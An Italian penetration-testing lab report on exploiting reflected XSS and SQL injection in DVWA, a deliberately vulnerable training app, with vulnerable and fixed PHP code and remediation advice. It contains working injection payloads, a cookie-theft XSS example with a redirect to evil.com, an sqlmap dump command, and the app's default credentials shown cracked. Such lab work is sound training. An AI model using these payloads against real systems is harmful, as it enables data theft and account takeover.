

Vulnerability Assessment

DVWA — Lab Report

Sfruttamento di XSS Reflected e SQL Injection su Damn Vulnerable Web Application

- 📅 12 Maggio 2026
- 🎯 Target: 192.168.0.6
- 👤 Attaccante: Kali Linux
- 👤 Esecutore: Giuseppe
- ⚠️ Solo uso didattico

⚠️ DISCLAIMER

Questo report documenta attività di penetration testing eseguite esclusivamente in un **AMBIENTE VIRTUALE ISOLATO E CONTROLLATO** a scopo didattico. Le tecniche documentate non devono essere replicate su sistemi reali senza autorizzazione scritta.

📄 Executive Summary

In data **12 Maggio 2026** è stato eseguito un test di penetrazione sulla piattaforma **DVWA (Damn Vulnerable Web Application)** ospitata all'indirizzo **192.168.0.6**, raggiunta dalla macchina attaccante Kali Linux. Il test aveva come obiettivo lo sfruttamento delle vulnerabilità XSS Reflected e SQL Injection con livello di sicurezza impostato a **Low**.

Entrambe le vulnerabilità sono state sfruttate con successo sia manualmente che tramite tool automatizzati. Il dump completo delle credenziali del database è stato ottenuto, con password in chiaro recuperate tramite cracking degli hash MD5.

2	5	4	100%
VULNERABILITÀ CRITICHE	CREDENZIALI ESTRATTE	TECNICHE SQLI TROVATE	HASH CRACKATI

🎯 Scope e Ambiente

Parametro	Dettaglio
IP Target (DVWA)	192.168.0.6
IP Attaccante (Kali)	192.168.0.254
Applicazione	Damn Vulnerable Web Application (DVWA) v1.0.7
Web Server	Apache 2.2.8 su Ubuntu 8.04 (Hardy Heron)
Linguaggio	PHP 5.2.4
Database	MySQL >= 4.1
Security Level	Low
Tool Utilizzati	Firefox, Terminal, sqlmap v1.8.x
Data Test	12 Maggio 2026 — 10:30/11:00

🔴 Finding #1 — Cross-Site Scripting (XSS) Reflected

XSS Reflected — Esecuzione di Codice JavaScript Arbitrario

CRITICO

Severità: **CRITICAL** CVSS Score: 8.2 (AV:N/AC:L/PR:N/UI:R/S:C/H/I/L/A:N)

Campo	Dettaglio
URL Vulnerabile	http://192.168.0.6/dvwa/vulnerabilities/xss_r/
Parametro	name (GET)
Tipo	Reflected XSS (Non-Persistent)
Input Sanification	❌ Assente — output diretto senza htmlspecialchars()

Procedura di Sfruttamento

- Identificazione del punto di injection**
Il campo "What's your name?" riflette l'input direttamente nella risposta HTML senza escape.
- Payload iniettato — Alert con messaggio custom**

Risultato: il browser ha eseguito il codice JavaScript mostrando il popup con il testo "Ciao sei hackerato" proveniente dal dominio 192.168.0.6.
- Conferma nella URL — caratteristica del Reflected XSS**

Il payload è visibile nella barra degli indirizzi: ?name=<script>.... Questo conferma la natura reflected: il codice viaggia nella URL e viene eseguito al momento del caricamento della pagina.

Impatto Reale

- 🍪 Furto Cookie di Sessione**
Con alert(document.cookie) è possibile estrarre il PHPSESSID e impersonare l'utente autenticato.
- 🔗 Phishing / Redirect**
Con window.location="http://evil.com/" la vittima viene reindirizzata a sito malevolo.

Causa Tecnica

Il codice PHP in low.php inserisce l'input direttamente nell'output:

```
// ❌ CODICE VULNERABILE
echo "Hello " . $_GET['name'];
```

🛡️ Rimedio

```
// ✅ CODICE CORRETTO
echo "Hello " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
```

🟡 Finding #2 — SQL Injection (Manuale)

SQL Injection UNION-based — Dump Credenziali Database

CRITICO

Severità: **CRITICAL** CVSS Score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C/H/I/A/H)

Campo	Dettaglio
URL Vulnerabile	http://192.168.0.6/dvwa/vulnerabilities/sqli/
Parametro	id (GET)
Tipo	SQL Injection UNION-based (Non-Blind)
Database	MySQL >= 4.1 - Database: dvwa

Procedura di Sfruttamento Manuale

- Bypass della logica WHERE — tutti gli utenti**

Query risultante: SELECT first_name, last_name FROM users WHERE user_id = '' or 'a'='a';
Risultato: restituzione di tutti e 5 gli utenti del database.
- Dump hash password con UNION SELECT**

Risultato: estrazione di tutti gli username con relativi hash MD5 delle password.

Causa Tecnica

```
// ❌ CODICE VULNERABILE - concatenazione diretta dell'input
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
```

🛡️ Rimedio

```
// ✅ CODICE CORRETTO - Prepared Statement con PDO
$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->execute([$id]);
```

🔵 Finding #3 — SQL Injection (sqlmap automatizzato)

sqlmap — Dump Completo con Cracking Password in Chiaro

AUTOMATIZZATO

Tecniche di Injection identificate da sqlmap

#	Tecnica	Payload Esempio
1	Boolean-based Blind	id=1' OR NOT 9438=9438#
2	Error-based (FLOOR)	id=1' AND ROW(...)>(SELECT COUNT(*),CONCAT(...))...
3	Time-based Blind (SLEEP)	id=1' AND (SELECT 8755 FROM (SELECT(SLEEP(5)))...)
4	UNION Query (2 colonne)	id=1' UNION ALL SELECT NULL,CONCAT(...)#

Informazioni di Sistema Rilevate

Parametro	Valore
Sistema Operativo	Linux Ubuntu 8.04 (Hardy Heron)
Web Server	Apache 2.2.8
Linguaggio	PHP 5.2.4
DBMS	MySQL >= 4.1

🏆 Credenziali Estratte e Crackate

user_id	Username	Hash MD5	Password in Chiaro	Nome
1	admin	5f4dcc3b5aa765061d8327deb882cf99	password	admin admin
2	gordonb	e99e18c429cb38d5f269853678922e03	abc123	Gordon Brown
3	1337	8d3533d75ae2c3966d7e0d4fcc69216b	charley	Hack Me
4	pablo	6d197d98f5bbe40cade3de5c71e9e9b7	letmein	Pablo Picasso
5	smithy	5f4dcc3b5aa765061d8327deb882cf99	password	Bob Smith

🚨 OSSERVAZIONE CRITICA

Tutte le password sono estremamente deboli e presenti in qualsiasi dizionario comune. sqlmap ha crackata **IL 100% DEGLI HASH IN POCHI SECONDI** usando il dizionario integrato. L'hashing MD5 senza salt è considerato insicuro dal 2004.

Comando sqlmap Utilizzato

```
sqlmap -u "http://192.168.0.6/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookies="security=low; PHPSESSID=icf405ae88b3af34g781987b060f8a2" \
-p id --dbms=MySQL -b dvwa -T users -C user,password --dump --batch
```

Risultati salvati in: /home/ka1i/.local/share/sqlmap/output/192.168.0.6/dump/dvwa/users.csv

✅ Checklist di Completamento Esercizio

Task	Metodo	Risultato
Lab configurato — ping OK tra VM	Configurazione rete	✅ Completato
DVWA raggiungibile da Kali	Browser Firefox	✅ Completato
Security Level impostato a LOW	DVWA Security	✅ Completato
XSS Reflected — popup JS eseguito	Manuale	✅ Completato
XSS — payload con messaggio custom	Manuale	✅ Completato
SQLi — bypass con OR tautologico	Manuale	✅ Completato
SQLi — dump hash con UNION SELECT	Manuale	✅ Completato
SQLi automatizzata con sqlmap	sqlmap	✅ Completato
Cracking password in chiaro	sqlmap --crack	✅ Completato

🛡️ Raccomandazioni di Remediation

Vulnerabilità	Rimedio	Priorità
XSS Reflected	Applicare htmlspecialchars() su tutti gli output utente. Implementare Content Security Policy (CSP).	Alta
SQL Injection	Usare esclusivamente Prepared Statements con parametri bind. Mai concatenare input utente nelle query.	Alta
Password deboli + MD5	Sostituire MD5 con bcrypt/argon2. Imporre policy password complesse. Aggiungere MFA.	Alta
Errori SQL visibili	Disabilitare i messaggi di errore dettagliati in produzione (display_errors = Off).	Media

📌 CONCLUSIONE DIDATTICA

L'esercizio ha dimostrato con successo come vulnerabilità apparentemente semplici (mancanza di sanitizzazione dell'input) possano portare a conseguenze critiche: esecuzione di codice JS arbitrario nel browser delle vittime e dump completo del database con credenziali in chiaro. La conoscenza di queste tecniche offensive è fondamentale per costruire applicazioni web sicure.